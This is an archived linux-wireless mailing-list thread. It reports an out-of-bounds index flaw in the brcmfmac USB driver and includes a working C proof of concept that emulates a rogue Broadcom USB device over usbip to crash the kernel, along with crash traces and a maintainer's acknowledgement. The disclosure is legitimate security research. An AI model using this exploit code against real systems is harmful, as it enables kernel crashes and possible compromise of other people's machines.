linux-wireless.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* potential dereference of garbage pointer in brcmfmac USB driver
@ 2025-05-09 16:41 rtm
  2025-05-12  8:46 ` Arend van Spriel
  0 siblings, 1 reply; 2+ messages in thread
From: rtm @ 2025-05-09 16:41 UTC (permalink / raw)
  To: Arend van Spriel; +Cc: linux-wireless, brcm80211, brcm80211-dev-list.pdl

[-- Attachment #1: Type: text/plain, Size: 4542 bytes --]

A malicous USB device pretending to be a broadcom/brcm80211/brcmfmac
wifi interface can generate a firmware signalling frame that causes
brcmf_fws_hdrpull() to make skb->cb->reorder point into the frame
data:

        signal_data = skb->data;
        ...;
                data = signal_data + 2;
                ...;
                case BRCMF_FWS_TYPE_HOST_REORDER_RXPKTS:
                        rd = (struct brcmf_skb_reorder_data *)skb->cb;
                        rd->reorder = data;

Later on, brcmf_fws_rxreorder() pulls cur_idx out of the frame and
uses it as an index without checking that it's in bounds (< rfi->maxIdx):

        reorder_data = ((struct brcmf_skb_reorder_data *)pkt->cb)->reorder;
        ...;
                cur_idx = reorder_data[BRCMF_RXREORDER_CURIDX_OFFSET];
                ...;
                                brcmu_pkt_buf_free_skb(rfi->pktslots[cur_idx]);

I've attached a usbip-based demo that generates a frame with this content:

     0x20    0x00    0x00    0x0d    0x00    0x00    0x0e   0x0e
     0x00    0x00    0x00    0x00    0x04    0x00    0x80   0x00

The 0x80 causes cur_idx to be 128.

# uname -a
Linux ubuntu66 6.15.0-rc5-00136-g9c69f8884904 #19 SMP PREEMPT_DYNAMIC Fri May  9 11:51:44 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
# cc usbbc3b.c
# ./a.out
...
 Oops: general protection fault, probably for non-canonical address 0xcccccc00746e6572: 0000 [#1] SMP PTI
 CPU: 4 UID: 0 PID: 4818 Comm: vhci_rx Tainted: G        W           6.15.0-rc5-00136-g9c69f8884904 #19 PREEMPT(voluntary)
 Tainted: [W]=WARN
 Hardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021
 RIP: 0010:brcmu_pkt_buf_free_skb+0x9/0x30
 Code: 00 00 00 48 89 d8 5b 5d c3 cc cc cc cc 0f 1f 40 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 48 85 ff 74 10 <48> 83 3f 00 75 0f be 02 00 00 00 e9 57 85 1f 00 c3 cc cc cc cc 90
 RSP: 0018:ffffb3378075bd38 EFLAGS: 00010286
 RAX: 0000000000000080 RBX: ffff9156068049c0 RCX: ffffb3378075bd00
 RDX: ffffffffa8411808 RSI: ffffffffa7f44f90 RDI: cccccc00746e6572
 RBP: ffffb3378075bdb0 R08: ffffffffa779c05b R09: ffff915602f7c8e0
 R10: 0000000000000080 R11: 0000000000000004 R12: ffffb3378075bd60
 R13: ffff9156025a9090 R14: 0000000000000080 R15: ffff915607cab840
 FS:  0000000000000000(0000) GS:ffff9159869d6000(0000) knlGS:0000000000000000
 CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
 CR2: 00007fbd5f8e8210 CR3: 0000000102e42002 CR4: 00000000003706f0
 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
 Call Trace:
  <TASK>
  brcmf_fws_rxreorder+0x562/0x610
  ? brcmf_rx_frame+0x8c/0x130
  ? __pfx_brcmf_proto_bcdc_rxreorder+0x10/0x10
  brcmf_rx_frame+0x8c/0x130
  brcmf_usb_rx_complete+0xee/0x130
  __usb_hcd_giveback_urb+0x8f/0x100
  vhci_rx_loop+0x3fb/0x480
  ? __pfx_vhci_rx_loop+0x10/0x10
  kthread+0xf6/0x1f0
  ? __pfx_kthread+0x10/0x10
  ret_from_fork+0x2f/0x50
  ? __pfx_kthread+0x10/0x10
  ret_from_fork_asm+0x1a/0x30
  </TASK>
 Modules linked in:
 ---[ end trace 0000000000000000 ]---

A gdb back-trace (on a different machine):

#0  brcmu_pkt_buf_free_skb (skb=0xa56b6b6b6b6b6b6b)
    at drivers/net/wireless/broadcom/brcm80211/brcmutil/utils.c:34
#1  0xffffffff809ea198 in brcmf_fws_rxreorder (ifp=<optimized out>, 
    pkt=0xffffffd602f58940)
    at drivers/net/wireless/broadcom/brcm80211/brcmfmac/fwsignal.c:1751
#2  0xffffffff809e809a in brcmf_proto_bcdc_rxreorder (ifp=<optimized out>, 
    skb=<optimized out>)
    at drivers/net/wireless/broadcom/brcm80211/brcmfmac/bcdc.c:403
#3  0xffffffff809e309e in brcmf_proto_rxreorder (skb=0xffffffd602f58940, 
    ifp=<optimized out>)
    at drivers/net/wireless/broadcom/brcm80211/brcmfmac/proto.h:114
#4  brcmf_rx_frame (dev=<optimized out>, skb=skb@entry=0xffffffd602f58940, 
    handle_event=handle_event@entry=true, inirq=inirq@entry=true)
    at drivers/net/wireless/broadcom/brcm80211/brcmfmac/core.c:510
#5  0xffffffff809f5b2e in brcmf_usb_rx_complete (urb=0xffffffd6038041c0)
    at drivers/net/wireless/broadcom/brcm80211/brcmfmac/usb.c:528
#6  0xffffffff80b3f292 in __usb_hcd_giveback_urb (
    urb=urb@entry=0xffffffd6038041c0) at drivers/usb/core/hcd.c:1650
#7  0xffffffff80b3f3d0 in usb_hcd_giveback_urb (
    hcd=hcd@entry=0xffffffd603dbc000, urb=urb@entry=0xffffffd6038041c0, 
    status=<optimized out>) at drivers/usb/core/hcd.c:1734
#8  0xffffffff80be9fa2 in vhci_recv_ret_submit (pdu=0xffffffc6002f3dd8, 
    vdev=0xffffffd603dbc2d0) at drivers/usb/usbip/vhci_rx.c:107

Robert Morris
rtm@mit.edu


[-- Attachment #2: usbbc3b.c --]
[-- Type: application/octet-stream, Size: 15941 bytes --]

#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <assert.h>

unsigned int vendor = 0x0a5c; // Broadcom
unsigned int product = 0x0bdc;


struct op_common {
  unsigned short version;
  unsigned short code;
  unsigned int status;
};

struct usbip_usb_device {
	char path[256];
	char busid[32];

	uint32_t busnum;
	uint32_t devnum;
	uint32_t speed;

	uint16_t idVendor;
	uint16_t idProduct;
	uint16_t bcdDevice;

	uint8_t bDeviceClass;
	uint8_t bDeviceSubClass;
	uint8_t bDeviceProtocol;
	uint8_t bConfigurationValue;
	uint8_t bNumConfigurations;
	uint8_t bNumInterfaces;
} __attribute__((packed));

struct usbip_header_basic {
  unsigned int command;
  unsigned int seqnum;
  unsigned int devid;
  unsigned int direction;
  unsigned int ep;
};

struct usbip_header_cmd_submit {
  unsigned int transfer_flags;
  int transfer_buffer_length;
  int start_frame;
  int number_of_packets;
  int interval;
  unsigned char setup[8];
};

struct usbip_header_ret_submit {
  int status;
  int actual_length;
  int start_frame;
  int number_of_packets;
  int error_count;
};

int
readable(int fd)
{
  fd_set readfds;
  FD_ZERO(&readfds);
  FD_SET(fd, &readfds);
  struct timeval tv;
  tv.tv_sec = 10;
  tv.tv_usec = 0;
  int ss = select(fd + 1, &readfds, (fd_set*)0, (fd_set*)0, &tv);
  return FD_ISSET(fd, &readfds);
}

int
readn(int fd, void *xbuf, int n)
{
  char *buf = xbuf;
  int got = 0;
  while(got < n){
    if(readable(fd) == 0){
      printf("usbip0: timeout\n");
      return -1;
    }
    int cc = read(fd, buf+got, n-got);
    if(cc <= 0){
      perror("usbip0: read");
      return -1;
    }
    got += cc;
  }
  return got;
}

void
mkif(char **xp, int num, int alt, int eps, int cl, int subcl, int proto, int iff)
{
  char *p = *xp;

  // usb_interface_descriptor
  *p++ = 9; // bLength
  *p++ = 4; // bDescriptorType USB_DT_INTERFACE
  *p++ = num; // bInterfaceNumber
  *p++ = alt; // bAlternateSetting
  *p++ = eps; // bNumEndpoints
  *p++ = cl; // bInterfaceClass
  *p++ = subcl; // bInterfaceSubClass
  *p++ = proto; // bInterfaceProtocol
  *p++ = iff; // iInterface

  *xp = p;
}

void
mkad(char **xp, int type, int subtype)
{
  char *p = *xp;

  // Additional Descriptor

  *p++ = 0; // bLength (filled in later)
  *p++ = type; // bDescriptorType
  *p++ = subtype; // bDescriptorSubtype
  
  if(type == 36 && subtype == 1){
    // AS_GENERAL
    *p++ = 1; // bTerminalLink
    *p++ = 1; // bDelay
    *p++ = 1; // wFormatTag PCM
    p++;
  } else if(type == 36 && subtype == 2){
    // FORMAT_TYPE
    *p++ = 1; // bFormatType
    *p++ = 2; // bNrChannels
    *p++ = 3; // bSubframeSize
    *p++ = 24; // bBitResolution
    *p++ = 2; // bSamFreqType 
    *p++ = 2; // bSamFreqType 
    p += 5;
  } else {
    *p++ = 0; // bcdADC
    *p++ = 1;
    *(short*)p = 0x5f; // wTotalLength
    p += 2;
    *p++ = 2; // bInCollection
    *p++ = 1; // baInterfaceNr(0)
    *p++ = 2; // baInterfaceNr(1)
  }

  *(*xp) = p - (*xp); // bLength

  *xp = p;
}

void
mkadx(char **xp, int type, int subtype, int len, int a[])
{
  char *p = *xp;

  // Additional Descriptor

  *p++ = 0; // bLength (filled in later)
  *p++ = type; // bDescriptorType
  *p++ = subtype; // bDescriptorSubtype

  for(int i = 0; i < len - 3; i++)
    *p++ = a[i];

  *(*xp) = p - (*xp); // bLength
  *xp = p;
}

void
mkep(char **xp, int epa, int attr, int maxp)
{
  char *p = *xp;

  // usb_endpoint_descriptor
  *p++ = 9;
  *p++ = 5; // bDescriptorType USB_DT_ENDPOINT
  *p++ = epa; // bEndpointAddress
  *p++ = attr; // bmAttributes 0=ctl 1=isoc 2=bulk 3=int
  *(short*)p = maxp; // wMaxPacketSize
  p += 2;
  *p++ = 7; // bInterval
  p += 2; // ???

  *xp = p;
}

int s1;

//
// reply to a previous request
//
void
reply(struct usbip_header_basic *ibh, int translen, char *obuf)
{
  struct usbip_header_basic obh;
  memset(&obh, 0, sizeof(obh));
  if(ntohl(ibh->command) == 2){
    // USBIP_CMD_UNLINK
    obh.command = htonl(4); // USBIP_RET_UNLINK
  } else {
    // USBIP_CMD_SUBMIT
    obh.command = htonl(3); // USBIP_RET_SUBMIT
  }
  obh.seqnum = ibh->seqnum;
  obh.devid = ibh->devid;
  obh.direction = htonl(!ntohl(ibh->direction));
  obh.ep = ibh->ep;
  write(s1, &obh, sizeof(obh));
  
  char rsbuf[sizeof(struct usbip_header_cmd_submit)];
  memset(rsbuf, 0, sizeof(rsbuf));
  struct usbip_header_ret_submit *rs = (void*)rsbuf;
  rs->actual_length = htonl(translen);
  write(s1, rs, sizeof(rsbuf));
  
  if(obuf){
    write(s1, obuf, translen);
  }
}

double
now()
{
  struct timeval tv;
  gettimeofday(&tv, 0);
  return tv.tv_sec + tv.tv_usec / 1000000.0;
}

int
main(int argc, char *argv[])
{
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);

  int port = 3240;
  int s, yes = 1;
  struct sockaddr_in sin;

  system("echo 0 > /sys/module/usbip_core/parameters/usbip_debug_flag");
  //system("echo 4294967295 > /sys/module/usbip_core/parameters/usbip_debug_flag");

  system("killall usbip");
  sleep(1);

  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);

  s = socket(AF_INET, SOCK_STREAM, 0);
  if(s < 0){
    perror("socket");
    exit(1);
  }

  setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));

  if(bind(s, (struct sockaddr *) &sin, sizeof(sin)) < 0){
    perror("usbxxx: bind");
    exit(1);
  }

  if(listen(s, 3000) < 0){
    perror("usbxxx: listen");
    exit(1);
  }

  system("usbip/src/usbip attach -r 127.0.0.1 -b 1-1 &");
  sleep(2);
  sync();
  sleep(1);

  unsigned sinlen = sizeof(sin);
  s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
  if(s1 < 0){
    perror("accept");
    exit(1);
  }
  close(s);
  
  struct op_common op;
  
  // OP_REQ_IMPORT
  readn(s1, &op, sizeof(op));
  //printf("version 0x%x code 0x%x status 0x%x\n", 
  //       op.version, op.code, op.status);
  
  char busid[32];
  readn(s1, busid, sizeof(busid));
  
  op.code = htons(0x03); // OP_REP_IMPORT
  op.status = htonl(0); // ST_OK
  
  write(s1, &op, sizeof(op));
  
  struct usbip_usb_device uud;
  memset(&uud, 0, sizeof(uud));
  strcpy(uud.busid, busid);
  //uud.speed = htonl(2); // USB_SPEED_FULL
  uud.speed = htonl(3); // USB_SPEED_HIGH
  //uud.speed = htonl(5); // USB_SPEED_SUPER
  
  write(s1, &uud, sizeof(uud));
  
  // now talking to the kernel

  int cmdno = 0;

  if(fork() == 0){
    close(s1);
    while(1){
      sleep(1);
      if(system("ifconfig -a | grep wlan2") == 0){
        printf("IFCONFIG\n");
        system("ifconfig wlan2 1.2.3.4 up");
        printf("IFCONFIG DONE\n");
        system("ifconfig wlan2");
        exit(0);
      }
      if(system("ifconfig -a | grep wlx000200000000") == 0){
        printf("IFCONFIG\n");
        system("ifconfig wlx000200000000 1.2.3.4 up");
        printf("IFCONFIG DONE\n");
        system("ifconfig wlx000200000000");
        exit(0);
      }
    }
    exit(0);
  }
  
  int done = 0;
  int do_tx = 0;

  unsigned char cmd21[8192];
  memset(cmd21, 0, sizeof(cmd21));
  int n21 = 0;

  // remember posted reads on each endpoint.
  struct EPQ {
#define NPENDING 512
    struct usbip_header_basic q[NPENDING];
    int w;
    int r;
    double last;
  } epq[16];
  memset(epq, 0, sizeof(epq));

  time_t last_real;
  time(&last_real);

  while(done == 0){
    struct usbip_header_basic ibh;
    if(readn(s1, &ibh, sizeof(ibh)) < 0)
      break;

    if(ntohl(ibh.command) == 1){
      // USBIP_CMD_SUBMIT
      struct usbip_header_cmd_submit cs;
      memset(&cs, 0, sizeof(cs));
      if(readn(s1, &cs, sizeof(cs)) < 0)
        break;
      
      int translen = ntohl(cs.transfer_buffer_length);
      unsigned int ep = ntohl(ibh.ep);

      if(ep != 1 && ep != 2){
        time(&last_real);
      }

      time_t now;
      time(&now);
      if(now - last_real > 10){
        printf("usbmtaX: too long since last_real\n");
        goto out;
      }

      if(ibh.direction == 0){
        //
        // driver wants to write to usb device
        //
        
        char ibuf[32*1024];
        assert(translen <= sizeof(ibuf));
        if(readn(s1, ibuf, translen) < 0)
          break;

        if(cs.setup[0] == 0x21){
          // a command or something; a later 0xa1 read will
          // come along to get our response.
          // struct brcmf_proto_bcdc_dcmd
          memcpy(cmd21, ibuf, translen);
          n21 += 1;
        }

        reply(&ibh, translen, NULL);
      } else {
        //
        // driver wants to read from usb device
        //
        
        if(ep == 0){
          //
          // control endpoint, answer immediately
          //
          
          char obuf[2048];
          if(translen > sizeof(obuf)){
            printf("huge translen on ep 0\n");
            break;
          }
          memset(obuf, 0, sizeof(obuf));
          char *p = obuf;
          if(cs.setup[1] == 0x06){
            // USB_REQ_GET_DESCRIPTOR
            if(cs.setup[0] == 0x80 && cs.setup[3] == 1){
              // USB_DT_DEVICE
              // struct usb_device_descriptor
              obuf[0] = 18; // bLength
              obuf[1] = 1; // bDescriptorType = USB_DT_DEVICE
              obuf[2] = 0x20; // bcdUSB
              obuf[3] = 0x03; // bcdUSB
              obuf[4] = 0xff; // bDeviceClass
              obuf[5] = 0; // bDeviceSubClass
              obuf[6] = 0; // bDeviceProtocol
              obuf[7] = 64; // bMaxPacketSize0
              *(short*)(obuf+8) = vendor; // idVendor
              *(short*)(obuf+10) = product; // idProduct 
              obuf[12] = 0; // bcdDevice
              obuf[13] = 1; // bcdDevice
              obuf[14] = 2; // iManufacturer
              obuf[15] = 3; // iProduct
              obuf[16] = 1; // iSerial
              obuf[17] = 1; // bNumConfigurations
            } else if(cs.setup[0] == 0x80 && cs.setup[3] == 2){
              // USB_DT_CONFIG
              // struct usb_config_descriptor
              *p++ = 9; // bLength
              *p++ = 2; // USB_DT_CONFIG
              short *lenp = (short*) p;
              *(short*)p = 9 + 4*9 + 15*10 + 2*7; // wTotalLength
              p += 2;
              *p++ = 1; // bNumInterfaces
              *p++ = 1; // bConfigurationValue
              *p++ = 0; // iConfiguration
              *p++ = 0x80; // bmAttributes
              *p++ = 1; // bMaxPower
              
              // mkif(&p, num, alt, eps, cl, subcl, proto, iff)
              
              mkif(&p, 0, 0, 2, 0xff, 2, 0xff, 0);
              mkep(&p, 0x80, 0x00, 0x0200);
              mkep(&p, 0x00, 0x00, 0x0200);
              mkep(&p, 0x81, 0x02, 0x0200);
              mkep(&p, 0x02, 0x02, 0x0200);
              
              assert(p - obuf <= sizeof(obuf));
              *lenp = p - obuf;
            } else if(cs.setup[0] == 0x80 && cs.setup[3] == 0x0f){
              // USB_DT_BOS
              // struct usb_bos_descriptor
              *p++ = 5; // bLength
              *p++ = 15;
              *(short*)p = 0x002a; // wTotalLength
              p += 2;
              *p++ = 3; // bNumDeviceCaps
              // usb_ext_cap_descriptor
              *p++ = 7; // bLength
              *p++ = 16; // bDescriptorType
              *p++ = 2; // bDevCapabilityType
              *(int*)p = 0x0000f41e; // bmAttributes
              p += 4;
              // usb_ss_cap_descriptor
              *p++ = 10; // bLength
              *p++ = 16; // bDescriptorType
              *p++ = 3; // bDevCapabilityType
              *p++ = 0; // bmAttributes
              *(short*)p = 0xe; // wSpeedsSupported
              p += 2;
              *p++ = 1; // bFunctionalitySupport
              *p++ = 10; // bU1devExitLat
              *(short*)p = 2047; // bU2DevExitLat
              p += 2;
              // usb_ssp_cap_descriptor
              *p++ = 20; // bLength
              *p++ = 16; // bDescriptorType
              *p++ = 10; // bDevCapabilityType
              *p++ = 0; // bReserved
              *(int*)p = 0; // bmAttributes
              p += 4;
              *(short*)p = 1; // bFunctionalitySupport
              p += 2;
              p += 2; // wReserved
              *(int*)p = 0x000a4030;
              p += 4;
              *(int*)p = 0x000a40b0;
              p += 4;
            } else if(cs.setup[0] == 0x80 && cs.setup[3] == 3){
              // USB_DT_STRING
              *p++ = 6; // length
              *p++ = 3; // descriptor type
              *p++ = 'a';
              *p++ = 'b';
              *p++ = 'c';
              *p++ = 'd';
            }
          }
          
          unsigned char *ibuf = cs.setup;

          if(ibuf[0] == 0xc1){
            // register read

            if(ibuf[1] == 5){
              // DL_GETVER
              unsigned int *ip = (void *) obuf;
              ip[0] = 0xA123; // chip id -- firmware already loaded
              ip[1] = 0; // chip rev
            }

          }

          if(ibuf[0] == 0xa1){
            // driver is asking for reply to previous 0x21
            // struct brcmf_proto_bcdc_dcmd
            // first 4 bytes is command
            //   1 GET_VERSION
            //   2 UP
            //  10 SET_PROMISC
            //  98 GET_REVINFO
            // 140 GET_BANDLIST
            // 185 SET_SCAN_CHANNEL_TIME
            // 187 SET_SCAN_UNASSOC_TIME
            // 262 GET_VAR
            // 263 SET_VAR
            int cmd = *(int*)(cmd21+0);
            memcpy(obuf, cmd21, 16);
            if(n21 == 1){
              // mac address
              obuf[17] = 2;
            }
            if(n21 == 3){
              // version number
              strcpy(obuf+16, "00 00");
            }
            if(cmd == 140){
              // band list
              *(int*)(obuf+16+0) = 1; // n_bands
              *(int*)(obuf+16+4) = 2; // 2.4 ghz
            }
            if(n21 == 35){
              // chanspec
              *(int*)(obuf+16+0) = 1; // count
            }
            if(cmd == 10){
              do_tx = 1;
            }
          }

          reply(&ibh, translen, obuf);
        }

        if(ep > 0){
          //
          // ep wants packets.
          // save the read requests until we want to reply
          //
          if(epq[ep].w >= NPENDING){
            printf("too many pending for ep %d!\n", ep);
            goto out;
          }
          epq[ep].q[epq[ep].w++] = ibh;
        }
        
      }
    } else if(ntohl(ibh.command) == 2){
      // USBIP_CMD_UNLINK
      // struct usbip_header_cmd_unlink uh;
      char buf[sizeof(struct usbip_header_cmd_submit)];
      memset(buf, 0, sizeof(buf));
      if(readn(s1, buf, sizeof(buf)) < 0)
        break;
      unsigned int uh = *(int*)buf;;
      printf("unlink seq %d\n", ntohl(uh));

      //goto out;

      reply(&ibh, 0, NULL);
    }

    for(int i = 1; i < 12; i++){
      if(do_tx && epq[i].r < epq[i].w){
        static int nth = 0;
        char obuf[64];
        memset(obuf, 0, sizeof(obuf));
        int nout = sizeof(obuf);
        
        printf("sending packet #%d on ep %d\n", nth, i);

        // struct brcmf_proto_bcdc_header
        obuf[0] = 0x20; // flags
        obuf[3] = 0x0d; // data_offset

        // firmware signal data starts at obuf[4]
        obuf[6] = 14; // type BRCMF_FWS_TYPE_HOST_REORDER_RXPKTS
        obuf[7] = 14;

        // reorder_data starts at obuf[10]
        obuf[12] = 4; // flags BRCMF_RXREORDER_CURIDX_VALID
        obuf[14] = 128; // cur_idx
        
        if(nth == 2){
          done = 1;
        }
        
        reply(&epq[i].q[epq[i].r], nout, obuf);
        
        epq[i].last = now();
        nth += 1;
        epq[i].r += 1;
      }
    }

    cmdno += 1;

    if(cmdno > 2500){
      printf("too many cmds\n");
      done = 1;
    }
  }

  sleep(2);
  close(s1);
  sleep(2);
    
 out: 1;
}

^ permalink raw reply	[flat|nested] 2+ messages in thread

* Re: potential dereference of garbage pointer in brcmfmac USB driver
  2025-05-09 16:41 potential dereference of garbage pointer in brcmfmac USB driver rtm
@ 2025-05-12  8:46 ` Arend van Spriel
  0 siblings, 0 replies; 2+ messages in thread
From: Arend van Spriel @ 2025-05-12  8:46 UTC (permalink / raw)
  To: rtm; +Cc: linux-wireless, brcm80211, brcm80211-dev-list.pdl

On 5/9/2025 6:41 PM, rtm@csail.mit.edu wrote:
> A malicous USB device pretending to be a broadcom/brcm80211/brcmfmac
> wifi interface can generate a firmware signalling frame that causes
> brcmf_fws_hdrpull() to make skb->cb->reorder point into the frame
> data:
> 
>          signal_data = skb->data;
>          ...;
>                  data = signal_data + 2;
>                  ...;
>                  case BRCMF_FWS_TYPE_HOST_REORDER_RXPKTS:
>                          rd = (struct brcmf_skb_reorder_data *)skb->cb;
>                          rd->reorder = data;
> 
> Later on, brcmf_fws_rxreorder() pulls cur_idx out of the frame and
> uses it as an index without checking that it's in bounds (< rfi->maxIdx):
> 
>          reorder_data = ((struct brcmf_skb_reorder_data *)pkt->cb)->reorder;
>          ...;
>                  cur_idx = reorder_data[BRCMF_RXREORDER_CURIDX_OFFSET];
>                  ...;
>                                  brcmu_pkt_buf_free_skb(rfi->pktslots[cur_idx]);
> 
> I've attached a usbip-based demo that generates a frame with this content:
> 
>       0x20    0x00    0x00    0x0d    0x00    0x00    0x0e   0x0e
>       0x00    0x00    0x00    0x00    0x04    0x00    0x80   0x00
> 
> The 0x80 causes cur_idx to be 128.
> 
> # uname -a
> Linux ubuntu66 6.15.0-rc5-00136-g9c69f8884904 #19 SMP PREEMPT_DYNAMIC Fri May  9 11:51:44 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
> # cc usbbc3b.c
> # ./a.out
> ...
>   Oops: general protection fault, probably for non-canonical address 0xcccccc00746e6572: 0000 [#1] SMP PTI
>   CPU: 4 UID: 0 PID: 4818 Comm: vhci_rx Tainted: G        W           6.15.0-rc5-00136-g9c69f8884904 #19 PREEMPT(voluntary)
>   Tainted: [W]=WARN
>   Hardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021
>   RIP: 0010:brcmu_pkt_buf_free_skb+0x9/0x30
>   Code: 00 00 00 48 89 d8 5b 5d c3 cc cc cc cc 0f 1f 40 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 48 85 ff 74 10 <48> 83 3f 00 75 0f be 02 00 00 00 e9 57 85 1f 00 c3 cc cc cc cc 90
>   RSP: 0018:ffffb3378075bd38 EFLAGS: 00010286
>   RAX: 0000000000000080 RBX: ffff9156068049c0 RCX: ffffb3378075bd00
>   RDX: ffffffffa8411808 RSI: ffffffffa7f44f90 RDI: cccccc00746e6572
>   RBP: ffffb3378075bdb0 R08: ffffffffa779c05b R09: ffff915602f7c8e0
>   R10: 0000000000000080 R11: 0000000000000004 R12: ffffb3378075bd60
>   R13: ffff9156025a9090 R14: 0000000000000080 R15: ffff915607cab840
>   FS:  0000000000000000(0000) GS:ffff9159869d6000(0000) knlGS:0000000000000000
>   CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
>   CR2: 00007fbd5f8e8210 CR3: 0000000102e42002 CR4: 00000000003706f0
>   DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
>   DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
>   Call Trace:
>    <TASK>
>    brcmf_fws_rxreorder+0x562/0x610
>    ? brcmf_rx_frame+0x8c/0x130
>    ? __pfx_brcmf_proto_bcdc_rxreorder+0x10/0x10
>    brcmf_rx_frame+0x8c/0x130
>    brcmf_usb_rx_complete+0xee/0x130
>    __usb_hcd_giveback_urb+0x8f/0x100
>    vhci_rx_loop+0x3fb/0x480
>    ? __pfx_vhci_rx_loop+0x10/0x10
>    kthread+0xf6/0x1f0
>    ? __pfx_kthread+0x10/0x10
>    ret_from_fork+0x2f/0x50
>    ? __pfx_kthread+0x10/0x10
>    ret_from_fork_asm+0x1a/0x30
>    </TASK>
>   Modules linked in:
>   ---[ end trace 0000000000000000 ]---
> 
> A gdb back-trace (on a different machine):
> 
> #0  brcmu_pkt_buf_free_skb (skb=0xa56b6b6b6b6b6b6b)
>      at drivers/net/wireless/broadcom/brcm80211/brcmutil/utils.c:34
> #1  0xffffffff809ea198 in brcmf_fws_rxreorder (ifp=<optimized out>,
>      pkt=0xffffffd602f58940)
>      at drivers/net/wireless/broadcom/brcm80211/brcmfmac/fwsignal.c:1751
> #2  0xffffffff809e809a in brcmf_proto_bcdc_rxreorder (ifp=<optimized out>,
>      skb=<optimized out>)
>      at drivers/net/wireless/broadcom/brcm80211/brcmfmac/bcdc.c:403
> #3  0xffffffff809e309e in brcmf_proto_rxreorder (skb=0xffffffd602f58940,
>      ifp=<optimized out>)
>      at drivers/net/wireless/broadcom/brcm80211/brcmfmac/proto.h:114
> #4  brcmf_rx_frame (dev=<optimized out>, skb=skb@entry=0xffffffd602f58940,
>      handle_event=handle_event@entry=true, inirq=inirq@entry=true)
>      at drivers/net/wireless/broadcom/brcm80211/brcmfmac/core.c:510
> #5  0xffffffff809f5b2e in brcmf_usb_rx_complete (urb=0xffffffd6038041c0)
>      at drivers/net/wireless/broadcom/brcm80211/brcmfmac/usb.c:528
> #6  0xffffffff80b3f292 in __usb_hcd_giveback_urb (
>      urb=urb@entry=0xffffffd6038041c0) at drivers/usb/core/hcd.c:1650
> #7  0xffffffff80b3f3d0 in usb_hcd_giveback_urb (
>      hcd=hcd@entry=0xffffffd603dbc000, urb=urb@entry=0xffffffd6038041c0,
>      status=<optimized out>) at drivers/usb/core/hcd.c:1734
> #8  0xffffffff80be9fa2 in vhci_recv_ret_submit (pdu=0xffffffc6002f3dd8,
>      vdev=0xffffffd603dbc2d0) at drivers/usb/usbip/vhci_rx.c:107

Hi Robert,

Thanks for notifying us about this issue. Will come up with a patch and 
give proper attribution for this.

Regards,
Arend
Regards,
Arend

^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2025-05-12  8:46 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2025-05-09 16:41 potential dereference of garbage pointer in brcmfmac USB driver rtm
2025-05-12  8:46 ` Arend van Spriel

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).